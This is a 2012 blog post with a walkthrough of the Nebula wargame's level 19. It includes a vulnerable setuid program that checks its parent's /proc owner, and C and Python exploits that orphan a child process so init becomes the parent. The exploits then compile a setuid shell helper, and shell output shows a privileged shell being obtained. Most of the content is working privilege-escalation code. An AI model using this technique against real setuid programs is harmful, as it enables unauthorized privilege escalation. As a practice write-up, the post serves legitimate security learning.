Monday, September 10, 2012

Exploit Exercise - Orphan Process and Race Condition

Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
int main(int argc, char **argv, char **envp)
{
 pid_t pid;
 char buf[256];
 struct stat statbuf;
 /* Get the parent's /proc entry, so we can verify its user id */
 snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
 /* stat() it */
 if(stat(buf, &statbuf) == -1) {
  printf("Unable to check parent process\n");
  exit(EXIT_FAILURE);
 }
 /* check the owner id */
 if(statbuf.st_uid == 0) {
  /* If root started us, it is ok to start the shell */
  execve("/bin/sh", argv, envp);
  err(1, "Unable to execve");
 }
 printf("You are unauthorized to run this program\n");
}
This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, NULL, NULL);
                }
        }
        else
                return 0;
}

I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:20 sh
 5323 pts/0    00:00:00 sh
 5327 pts/0    00:00:00 ps
level19@nebula:/tmp$ ./a.out
level19@nebula:/tmp$ Orphan....

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:21 sh
 5323 pts/0    00:00:00 sh
 5329 pts/0    00:00:00 sh
 5330 pts/0    00:00:00 ps
level19@nebula:/tmp$
On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", "-c",
                       "gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL};
        char *env[] = {"PATH=/bin:/usr/bin",NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, arg, env);
                }
        }
        else
                return 0;
}
sys.c

int main(void)
{
        setresuid(geteuid(), geteuid(), geteuid());
        system("/bin/sh");
        return 0;
}


level19@nebula:/tmp$ gcc -o exploit19 exploit19.c
level19@nebula:/tmp$ ./exploit19
level19@nebula:/tmp$ Orphan...

level19@nebula:/tmp$ ./sys
sh-4.2$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

2 comments :

  1. You can get directly a shell provided that:
    - you take care of its input channel (keep it open). You only need to run your exploit in this way:
    cat | ./exploit19
    - arg0 in execv is "sh". Otherwise, since /bin/sh is linked to /bin/bash, bash will drop privileges (another choice is launch with "-p").

    My full solution in Python:

    level19@nebula:~$ cat l19local.py

    import os, time

    def child():
    print 'Child ', os.getpid()
    time.sleep(1)
    # Important: arg0 should be "sh". Otherwise, since sh is linked to bash, bash will drop privileges
    print "Running shell..."
    os.execv("/home/flag19/flag19", ('sh',))


    def parent():
    newpid = os.fork()
    if newpid == 0:
    child()
    else:
    pids = (os.getpid(), newpid)
    print "parent: %d, child: %d" % pids


    parent()

    level19@nebula:~$ cat | python l19local.py
    parent: 14178, child: 14179
    Child 14179
    Running shell...
    id
    uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
    uname -a
    Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux

    VoilĂ  :)

    ReplyDelete
  2. awesome solution. Thanks for sharing :)

    ReplyDelete